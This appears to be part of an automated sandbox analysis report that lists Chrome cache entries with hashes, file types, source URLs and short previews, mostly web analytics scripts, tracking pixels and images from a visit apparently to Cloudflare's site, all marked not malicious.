Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<g clip-path="url(#clip0_2573_10855)">.<path d="M46.5001 14.2499H22.9426C21.0322 12.401 18.6197 11.1554 16.006 10.6687C13.3922 10.182 10.6931 10.4757 8.24521 11.5131C5.79733 12.5506 3.70913 14.2858 2.2411 16.5024C0.773079 18.719 -0.00976562 21.3188 -0.00976562 23.9774C-0.00976562 26.6361 0.773079 29.2359 2.2411 31.4525C3.70913 33.6691 5.79733 35.4043 8.24521 36.4417C10.6931 37.4792 13.3922 37.7729 16.006 37.2862C18.6197 36.7995 21.0322 35.5539 22.9426 33.7049H46.5001L48.0001 32.2049V15.7499L46.5001 14.2499ZM13.5376 34.4999C11.4522 34.4984 9.41414 33.8782 7.68144 32.7178C5.94875 31.5573 4.59933 29.9089 3.80403 27.9811C3.00874 26.0533 2.80333 23.9329 3.21382 21.8883C3.62431 19.8437 4.63223 17.9668 6.10998 16.4954C7.58772 15.024 9.46884 14.0241 11.5152 13.6223C13.5615 13.2206 15.681 13.4351 17.6054 14.2386C19.5298 15.0421 21.1725 16.3986 22.3255 18.1362C23.4785 19.8739 24.09 21.9146 24.0826 23.

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1993), with no line terminators
Category:	dropped
Size (bytes):	1993
Entropy (8bit):	5.346010533783382
Encrypted:	false
SSDEEP:	48:ouCMKxTaaZwKHwgQmwn25AxlkFQd6UFpK1tYqj4sk1mJ:jDKPOKQ5ayliQdD+XJ
MD5:	6655A67A4C0A1195A5F4C3D7961953B4
SHA1:	69CC40466F3C4656E2F64AFDBD13A19FA41FC06B
SHA-256:	EBB4F60ECFE54185E2D3D00CF8A0E51B4C84A33040F08D630C90D31D3E3C4CBB
SHA-512:	106A94C7D1385872538F8F1D494178A9AB2543E7F5232FE56D3C7C20B5BB6B28395FF334639FF252462FB7329EB3538F67FF9D98E5E6902683E6A8BE03764F31
Malicious:	false
Preview:	try{(function(w,d){!function(j,k,l,m){if(j.zaraz)console.error("zaraz is loaded twice");else{j[l]=j[l]\|\|{};j[l].executed=[];j.zaraz={deferred:[],listeners:[]};j.zaraz._v="5808";j.zaraz._n="";j.zaraz.q=[];j.zaraz._f=function(n){return async function(){var o=Array.prototype.slice.call(arguments);j.zaraz.q.push({m:n,a:o})}};for(const p of["track","set","debug"])j.zaraz[p]=j.zaraz._f(p);j.zaraz.init=()=>{var q=k.getElementsByTagName(m)[0],r=k.createElement(m),s=k.getElementsByTagName("title")[0];j[l].c=k.cookie;s&&(j[l].t=k.getElementsByTagName("title")[0].text);j[l].x=Math.random();j[l].w=j.screen.width;j[l].h=j.screen.height;j[l].j=j.innerHeight;j[l].e=j.innerWidth;j[l].l=j.location.href;j[l].r=k.referrer;j[l].k=j.screen.colorDepth;j[l].n=k.characterSet;j[l].o=(new Date).getTimezoneOffset();j[l].q=[];for(;j.zaraz.q.length;){const w=j.zaraz.q.shift();j[l].q.push(w)}r.defer=!0;for(const x of[localStorage,sessionStorage])Object.keys(x\|\|{}).filter((z=>z.startsWith("_zaraz_"))).forEach((y=>{t

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10998)
Category:	downloaded
Size (bytes):	11145
Entropy (8bit):	5.2670025634408635
Encrypted:	false
SSDEEP:	192:LoBQd+BviU7rpomW8SuV0H0A30s+nRVODi0K0A30Hkq0D0AI0/eQo0A0AEksTTlE:E8qviU7r+mWRuV0H0A30zRUDi0K0A30R
MD5:	1A413A1039BE5BAD85C6AA0A3E2D78B8
SHA1:	DB57B586D61E57FE1007B8A23669ED4DFB2FE271
SHA-256:	E70F8BBDE87A2DD54227E8BC84E71B61CF829D58CF3BDB1E90CB732FE17B97AE
SHA-512:	40BF403F88726C0B6B52694B757BAF1A6BE84A8667611059F166BE1C173E8EB0C5529808DB1F8B8E46F723C04E47D96476845FE2DDE631D240DBF840CE6EDE8E
Malicious:	false
URL:	https://assets.adobedtm.com/f597f8065f97/065ba81630d7/621485069190/RC392ad6d4bbf94c7283b4eda6cbf689a0-source.min.js
Preview:	// For license information, see `https://assets.adobedtm.com/f597f8065f97/065ba81630d7/621485069190/RC392ad6d4bbf94c7283b4eda6cbf689a0-source.js`.._satellite.__registerScript('https://assets.adobedtm.com/f597f8065f97/065ba81630d7/621485069190/RC392ad6d4bbf94c7283b4eda6cbf689a0-source.min.js', "function pushToDataLayer(e){try{if(e.event===lastFiredEvent)return;window.formDataLayer.push(e),updateFormValues(),e.event!=lastFiredEvent&&_satellite.track(e.event,e),lastFiredEvent=e.event,resetFiredEvents()}catch(e){}}function resetFiredEvents(){firedEvents.clear(),abandonmentTracked=!1}function initializeFormStartListeners(){window.addEventListener(\"form_submission_start\",(function(e){resetFiredEvents(),formStartTime=new Date;const t=e.detail,{form_name:n,form_id:o,form_business_line:r,page_path:i}=t;pushToDataLayer({event:\"form_submission_start\",formName:n\|\|\"Unknown\",formID:o\|\|\"Unknown\",formLocation:i\|\|\"Unknown\",formLine:r\|\|\"Unknown\",formStartTime:formStartTime})}))}function init

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1683
Entropy (8bit):	5.1425273003551775
Encrypted:	false
SSDEEP:	48:YN1aNsNwN0N4AP0N2KvWbE9FCKZ+3JsiNMN6zggvzeMXkz3:UaNsNwN0N4AP0N2KvWbE9FXZ+5siNMNL
MD5:	01D9C7B3B13F88A44CB6F286346F7EB3
SHA1:	D3A1A18C945A39E5D008F52927D9F22760053396
SHA-256:	A4AF860024F38865633E7671D5A4637847FAA481F3C16214D7FF4722E673341F
SHA-512:	C95CDCBF21D0B917E76F6A39E2F34CC35414B5E49F6700F6D0A2405D3BB7D310004CD451694203A60705D3FD4B1033E83E0737A85C112FE6D00A9C655A5F8CE5
Malicious:	false
URL:	https://www.cloudflare.com/page-data/sq/d/3199558980.json
Preview:	{"data":{"mrkConfigGlobalVariables":{"json_values":{"HTTPRequests":60,"CountryCount":120,"PartnerCount":"5000+","BizAnnualRate":{"type":"unit","value":2400,"format":"Currency"},"BizMonthlyRate":{"type":"unit","value":200,"format":"Currency"},"ProAnnualRate":{"type":"unit","value":240,"format":"Currency"},"ProMonthlyRate":{"type":"unit","value":20,"format":"Currency"},"WAFRulesCount":148,"DataCenterCount":330,"NetworkCapacity":"296 Tbps","DNSQueriesPerDay":3.4,"NetworkCapacityV2":{"type":"unit","value":296,"format":"TerabitsPerSecondShort"},"GlobalWebsiteCount":25000000,"HTTPRequestsAtPeak":81,"WAFRulesFiredPerDay":444528000,"ChinaDataCenterCount":30,"HTTPRequestsPerMonth":10,"NetworkInterconnects":12500,"ThreatsBlockedPerDay":"~158","AnycastNetworkQueries":80,"Fortune1000Percentage":"~30%","OperationMilliseconds":50,"DataCenterCountNoChina":"150+","GlobalWebsiteCountESFR":25000000,"LargestAttackMitigated":"2.6 Tbps","NetworkCapacityNumOnly":100,"DNSGlobalTrafficRouting":35,"EncryptedRe

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (51384), with no line terminators
Category:	downloaded
Size (bytes):	51385
Entropy (8bit):	5.293328685395304
Encrypted:	false
SSDEEP:	768:IaOFhhRC5JFhLjfRysgLzQynDw5YyDMFW8KQ:IaOFnR2DRszQKaoWtQ
MD5:	6626C1362840EBFC8F48294E8F023E18
SHA1:	4EC0DFB37C3E536C1B5EC04B68C9846FDBAF9EEF
SHA-256:	AABC88A6DB8B22022F96CA88E4F0A7BE426ABEF2B35169A71515A2D55246402A
SHA-512:	B037A19B52C1047198EC7F19E99066054E454964380E2354239834260D11248E617D6759B944DDF39A25B883C8F430603D8E13097396E2DEDA9BB6905C1CD42A
Malicious:	false
URL:	https://bat.bing.com/bat.js
Preview:	function UET(o){this.stringExists=function(n){return n&&n.length>0};this.domain="bat.bing.com";this.domainCl="bat.bing.net";this.URLLENGTHLIMIT=4096;this.pageLoadEvt="pageLoad";this.customEvt="custom";this.pageViewEvt="page_view";o.Ver=o.Ver!==undefined&&(o.Ver==="1"\|\|o.Ver===1)?1:2;this.uetConfig={};this.uetConfig.consent={enabled:!1,adStorageAllowed:!0,adStorageUpdated:!1,hasWaited:!1,waitForUpdate:0,enforced:!1};this.uetConfig.tcf={enabled:!1,vendorId:1126,hasLoaded:!1,timeoutId:null,gdprApplies:undefined,adStorageAllowed:undefined,measurementAllowed:undefined,personalizationAllowed:undefined};this.uetConfig.cusig={hasLoaded:!1,timeoutId:null,blob:{}};this.beaconParams={};this.supportsCORS=this.supportsXDR=!1;this.paramValidations={string_currency:{type:"regex",regex:/^[a-zA-Z]{3}$/,error:"{p} value must be ISO standard currency code"},number:{type:"num",digits:3,max:999999999999},integer:{type:"num",digits:0,max:999999999999},hct_los:{type:"num",digits:0,max:30},date:{type:"regex",

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	dropped
Size (bytes):	462402
Entropy (8bit):	5.358849106002725
Encrypted:	false
SSDEEP:	6144:OqRYlADxBldE7qZ8NdrcQNG6JMHVc/cHf4N5O7PqsCSls:3SADxBldE7qZW/c7bqSO
MD5:	A64729A4F0DD7DB3CDF3DC855DF2C77A
SHA1:	4C40360660AC023ED61BD5D0C2C55502E45FFCF1
SHA-256:	BB60550070F9A5CE5D91B9CB0D34EE6777A3DCB25DE950CB185D1C2B624B2590
SHA-512:	7C428D737817813F291E499966753FFF6DF46168D4A851A24959D54D65A7E45E862E888CED3240708BFF5A5154FA64F6C40AEA9CF394ECC86B6ED0B03553A1CF
Malicious:	false
Preview:	/** . * onetrust-banner-sdk. * v202407.2.0. * by OneTrust LLC. * Copyright 2024 . */.!function(){"use strict";var x=function(e,t){return(x=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}))(e,t)};function D(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function o(){this.constructor=e}x(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var H,R=function(){return(R=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function u(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.value):((t=e.value)instanceof a?t:new a(fun

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3138)
Category:	downloaded
Size (bytes):	3284
Entropy (8bit):	5.46051934871401
Encrypted:	false
SSDEEP:	48:YVbY9+qw87WpFtuOXMfUFyJZAeNeMqOIDcgjHQ0jOpXSHVajXKCw1tngEo:YZ2+qJWpFtu4MvX0Mb0jOpXOCN
MD5:	9CF185793291692F744C78C75DA01DD8
SHA1:	1C04DDD887FBFE175884C529CF998BF2903F714D
SHA-256:	B90B775B65C2623322CAAA52D7ACF6AF709CA59BDD475A54043B6308D91828C4
SHA-512:	3F8D9B71E0948DDA240FDAC44A23969FE8627AA39C574F0DFD089ED26E36FD7E5C4BB1AF82FF26AD0BCE0DBE3BCA816C8F7E9AF6B426637EF23E7F6AFF731EBA
Malicious:	false
URL:	https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement_Module_ActivityMap.min.js
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement_Module_ActivityMap.js`..function AppMeasurement_Module_ActivityMap(e){function t(){var e=s.pageYOffset+(s.innerHeight\|\|0);e&&e>+f&&(f=e)}function n(){if(l.scrollReachSelector){var t=e.d.querySelector&&e.d.querySelector(l.scrollReachSelector);t?(f=t.scrollTop\|\|0,t.addEventListener("scroll",(function(){var e;(e=t&&t.scrollTop+t.clientHeight\|\|0)>f&&(f=e)}))):0<g--&&setTimeout(n,1e3)}}function r(e,t){var n,r,i;if(e&&t&&(n=l.c[t]\|\|(l.c[t]=t.split(","))))for(i=0;i<n.length&&(r=n[i++]);)if(-1<e.indexOf(r))return null;return e}function i(t,n,r,i,a){var c,o;if((t.dataset&&(o=t.dataset[n])\|\|t.getAttribute&&((o=t.getAttribute("data-"+r))\|\|(o=t.getAttribute(r))))&&(c=o),!c&&e.useForcedLinkTracking&&a){var l;if(t=t.onclick?""+t.onclick:"",n="",i&&t&&0<=(r=t.indexOf(i))){for(r+=i.length;r<t.length;)if(o=t.charAt(r++),0<="'\"".indexOf(o)){l=o;break}for(var s=!1;r<t.length&&l&&(o=t

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Preview:	{}

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	19778
Entropy (8bit):	7.984183582499418
Encrypted:	false
SSDEEP:	384:XRD+WSpmzFXTLzze1MVjN4cloiH+Nc79pB7jvv8X8jHWghwhABmkoA:B+bm1TaMVjpFeKLBv6yHWrhABmkd
MD5:	C9D2883F845003B9DBA86443D1A94C54
SHA1:	A0BDEAA30C5A57AE757D4AFF9A8AA383B414A0B6
SHA-256:	E6642B618E793393CA088B797585DF2B709BD5B19F415C6CFC8FCDE45DBE995B
SHA-512:	BAD16F3B43AF04BF9E34124C71C6EDB4904C4859B0FC7DDE9C2D88FB23CAD3C4966D5AD7D7D57B45E64D1D3463D14ED1645045F2BCA3DE5DF4E090D2F7F5BDEE
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/19LKSWt3iDJ0SxqNrv3ZMN/b37231a3e6fb1bda5f182e7abecff5ee/cplogo_BW.png
Preview:	RIFF:M..WEBPVP8L-M../.C..U..$..?...........6.>.....S........G.M.8.9.Gk.{...D..&....hC!t..C..URN.R.F.^.A..N.J[H...H+.2.Y.z.GG....d7..U..Jw..h.j t-.z..s...}..{.+....Jp....K`(a..Ot..A[..."-.....&..FX..y...A..V.9=l....p2zX......".;d.q.......fD_.dd.....f.......lJ...K.....'9XD..0.nkm[..w.pw...^+.q..").g.L.M......n$5w..f..q..+;..0']....Kl.~.'N..0W......'.3U...3....;p_.o..7`=i..7.ly......~R?..Y..\|.....z....y..VI...:..:C..C.V......o7..\...).dU..x..l.{x..U.r....p.R..P..Jt4..a..E2...;.kra.um.....QZWr.b.U....=.h..}.>g.....=..rIg...^.o.x.UVy.?K..!..f.z.6D..9z.-....[j..f...5..'u.aKQj.]..}.3...n..6D.":Wzz;G.......).x.....H..(.kx^3..o.y..;R........o9.....dEDp..6.... ..X\......!.+..5.XD.. ..#..Y7..$#r....AB6.J41_.d2.<.4.....a..K....4+........K..^.....%G...8.y......ko.=...}.yw./0P.....%....[.15.vo..h.......9t.....?;..G........#..E.\ufq..W;7.,.At.N...^.?.r.!.M.&zG...{C.....>l..t.C.....7..06.>.....f.........A.Z.(y.....u...[w...A..4.'..`:....}r8..f.o.'3

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	144
Entropy (8bit):	5.125140825579398
Encrypted:	false
SSDEEP:	3:iP1IJhyCnaz/p9AnkCDym1UibiC0KsVKJkttiUpMfnkwxt9AhRn:iUyCnaz/onLDymeibipVXtti+cohR
MD5:	06A6996926CFAAC305926041F01763D1
SHA1:	CD5CF8675CCFC8C9CDABCBFB6A5D19175FC86E66
SHA-256:	79AEB7C8F185752E68BEFD4AEE94D714FB3171911DFEAA360072290263475C73
SHA-512:	FD316FCB315A8958BF8F2823C144FD9B572C81ACB92BBAE5DEE5807D86A8460BAB8F747854459C890AFEF6DC30B7A38CAAA05319ADD3B517BF621952931DC8AC
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISSAkeAkw40_rE-xIFDfyM-aUSBQ02_qTlEgUN4YU_hxIFDQ-obAwSBQ3QsCUCEgUNDYlX8hIFDRB90noSBQ0CdYS5EgUNMR13Ng==?alt=proto
Preview:	CmkKCw38jPmlGgQIAxgBCgsNNv6k5RoECAUYAQoLDeGFP4caBAgNGAEKCw0PqGwMGgQICRgBCgsN0LAlAhoECDwYAQoHDQ2JV/IaAAoHDRB90noaAAoLDQJ1hLkaBAgkGAEKBw0xHXc2GgA=

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (59934)
Category:	dropped
Size (bytes):	1461729
Entropy (8bit):	5.839936532211817
Encrypted:	false
SSDEEP:	24576:J3LS93wCHB5h4qobzuhzLMlQ1Qk3Z7ERK+SCNuWhhd+xlktyjH60I9FQRzH8Ly8:VS93wCHD2q3hzLMlQ1Qk3eRK+JNuWhhr
MD5:	809665314FE29BDAA7ED913A1CFFC37F
SHA1:	304DB5A799E0EE7AE5962207E335A9F528FAF05B
SHA-256:	86FBE68F0FB1F6F137DB0B090C3E72B9510CE4F3B635EFFF6583EA2C169BB37E
SHA-512:	312AED19661A5705A61438832BD2FFA99D07D1595F0881CC10B11DD253FC8714FAF75C7FC90402C6FE12F127D17BB47D5EB22368DB44F5C704B35A00A8108181
Malicious:	false
Preview:	/! For license information please see app-5eb8714132173426f3bb.js.LICENSE.txt /.(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[524],{38157:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(96540),o="https://embed.cloudflarestream.com/embed/sdk.latest.js",a=function(){if("undefined"!=typeof window)return window.Stream};function i(e,t,n){(0,r.useEffect)((function(){t.current&&(t.current[e]=n)}),[e,n,t])}function s(e,t,n){void 0===n&&(n=l),(0,r.useEffect)((function(){if(t.current){var r=t.current;return r.addEventListener(e,n),function(){return r.removeEventListener(e,n)}}}),[n,e,t])}var l=function(){},c=function(e){return function(){var e=(0,r.useState)(a),t=e[0],n=e[1];return(0,r.useEffect)((function(){if(!t){var e=document.querySelector("script[src='"+o+"']"),r=null!=e?e:document.createElement("script");r.addEventListener("load",(function(){n(a)})),e\|\|(r.src=o,document.head.appendChild(r))}}),[t]),t}()?r.createE

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
URL:	https://alb.reddit.com/rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729259290739&uuid=ba8ef504-ac9b-4995-be02-177cd5f1712a&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	1676
Entropy (8bit):	7.794026508917407
Encrypted:	false
SSDEEP:	48:fDepkJuaEsLUzzz/PF8lfFe6Q+iM6E/CZ:f130X5YOpCCZ
MD5:	F37361EB5E82E5BBFFD041EA6EC63BC5
SHA1:	5F99D9F7A499221F95431EFC4C3251852BDCEBCE
SHA-256:	3B122A18DD2E5CE4EEB1438ACB305EDF5119FA822A0188B584CA7EC1ED3482B1
SHA-512:	A384967E1FA82CD155389AF901905BC546C3CF3B39B09B5C723F411F7EFFDD977DDDE79ADC4D07A3A8415472DB6C0CB8585DE8F695BA451B51A242B998AB2B92
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/3fy2mc73AF9xqD18C5760R/f46ab68d38c9adb30a639f69589d8af0/doordash_134.png
Preview:	RIFF....WEBPVP8Lx.../....p.. .?... ...m.........Y.m.m.m.[...n..O..n.F....^uz..a#....A._.,.Pa+C......!.....a....r.........~...3,R...Cx.dd...S..Kmgs...+.@.\...t......>..#'.p}.y......>..]X@_....F.l........V).F.j.;.P..,..z%"..O7..Q.P+&../gI......&o.:.jTz.&`.......?.../.w..\|W).....R`..T=.i......S.5;.<8Xh...WE...........v.I.......u...CZ=UT...;....B..sT1..._.9..x...Nb.j.j!"r.x...H.$>...4...4X.....=.Y..".1.<.......W %.....$.b.z1I....I..y....z.W.p.<yC.....95.!I..I.H.o....l....H7..t....t..O.Te"km..u<..o.X.gDN..L........Dva.3.Yz..&..j...2.5...A"o.0..B<.1..!b...$..............9.p...L..qR.n28...Az...... ......l....G....G.Mo.9.r.8..s.H...uI..Z......d.`...eP..UE.L@_kOT..#....9.......[@....D.....'...D.O..x8.t.g.#..S..1.`.DvL.....UDv..H.W0@...m3W..L.Y...D.T.=\n..f.U..y.....X....2.<lI.].Ct..X....)...=...@......[...p@...........p.I.:D..klFd.....X.DDd3...~V.....O...p..gs...11..y...\|(PF.........8..o..."/.fIHq\.N.V.P ".K......:.l.).....v..[.t....&:.[:I......V...~...T..

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23149
Entropy (8bit):	4.761139865952874
Encrypted:	false
SSDEEP:	384:VRqTeTcT+2KbBnQ7REs3SFZ/HltIVIb8e:TqqcT+2KbBnQ7R4IV68e
MD5:	7244A1B78154CDE963F0805D34ADB1FB
SHA1:	AE3D2C1A24E795F7AFD3EAA3D340BC9F1FAAF0BA
SHA-256:	4BA691AE5B91E9D66C1DDCBABC6574099B9D2F5DD7AB3B7CE6A9CDF23CB23956
SHA-512:	BE97D48497F5691618F45A3AC03E2FF481DB536A4A6332A2A5E20CFA663CAB8781968B1938517C378D234E7DFD544B46F57C399D2579333CEAAC54E6DC9DFA9F
Malicious:	false
Preview:	{"fields":[{"id":"FirstName","label":"First Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":0,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"LastName","label":"Last Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":1,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Phone","label":"Phone:","dataType":"telephone","validationMessage":"Must be a phone number. <span class='mktoErrorDetail'>503-555-1212</span>","rowNumber":2,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Email","label":"Work Email:","dataType":"email","validationMessage":"Must be valid email. <span class='mktoErrorDetail'>example@yourdomain.com</span>","rowNumber":3,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}}

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32740)
Category:	dropped
Size (bytes):	35815
Entropy (8bit):	5.320582095062312
Encrypted:	false
SSDEEP:	768:Yyc/Fw3mNF/i3r5lzh0Aq9JQxpTQuVDfDRVNKy/IQCKmYP3:rAFw3+F/UFthQ9uphcq13
MD5:	964F8CB588092AC645368E7307EB73AC
SHA1:	E01FEAB6AB013563A03E9536A71F1794021A2713
SHA-256:	F012C00D43164A4DE843AE80ABEFE500F8497E1123D11C965CD3B40600FE9720
SHA-512:	F2182FE74F46C7AA11FFB0F36BB93E7E5BE6BACEDF0D98840B8A0EA68D09281342A91570B0B8C0B04E12CC2F10C139A3E918642F8E1F4DCF74A9D1E321128A90
Malicious:	false
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement.js`..function AppMeasurement(e){var t=this;t.version="2.26.0";var n=window;n.s_c_in\|\|(n.s_c_il=[],n.s_c_in=0),t._il=n.s_c_il,t._in=n.s_c_in,t._il[t._in]=t,n.s_c_in++,t._c="s_c";var a=n.AppMeasurement.Bc;a\|\|(a=null);var i,r,o,c=n;try{for(i=c.parent,r=c.location;i&&i.location&&r&&""+i.location!=""+r&&c.location&&""+i.location!=""+c.location&&i.location.host===r.host;)i=(c=i).parent}catch(e){}t.log=function(e){try{console.log(e)}catch(e){}},t.$a=function(e){return""+parseInt(e)==""+e},t.replace=function(e,t,n){return!e\|\|0>e.indexOf(t)?e:e.split(t).join(n)},t.escape=function(e){var n,a;if(!e)return e;for(e=encodeURIComponent(e),n=0;7>n;n++)a="+~!*()'".substring(n,n+1),0<=e.indexOf(a)&&(e=t.replace(e,a,"%"+a.charCodeAt(0).toString(16).toUpperCase()));return e},t.unescape=function(e){if(!e)return e;e=0<=e.indexOf("+")?t.replace(e,"+"," "):e;try{return decodeURIComponent(e

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	129418
Entropy (8bit):	5.955981378724436
Encrypted:	false
SSDEEP:	3072:pk1myvXD9d2AMJHfRWVaXkIcfVgKkiMJN+qwjWCAIucJ:C1XD/2aEkIctgKk5gqwjWnc
MD5:	30FB390F2A40966D0B5FAB98BB94864D
SHA1:	BE6DBF5FF51A541E72E1D138C5448D8B01FE6032
SHA-256:	8504B26F353B9B16990A8A42603211806DAE5E475359FA449D6C792853A621CD
SHA-512:	91DA5F3F6F0A18B0D93A1C496028B42B1592CA674F95569DD275E1E688B9608B5F24B065F525CE7797A6F85B9667B8458F7E785FCEFDED9ACA754614FA27AF7F
Malicious:	false
URL:	https://www.cloudflare.com/static/enablement-background-6de78040ef0acc8d2e8a596988c5f5d8.svg
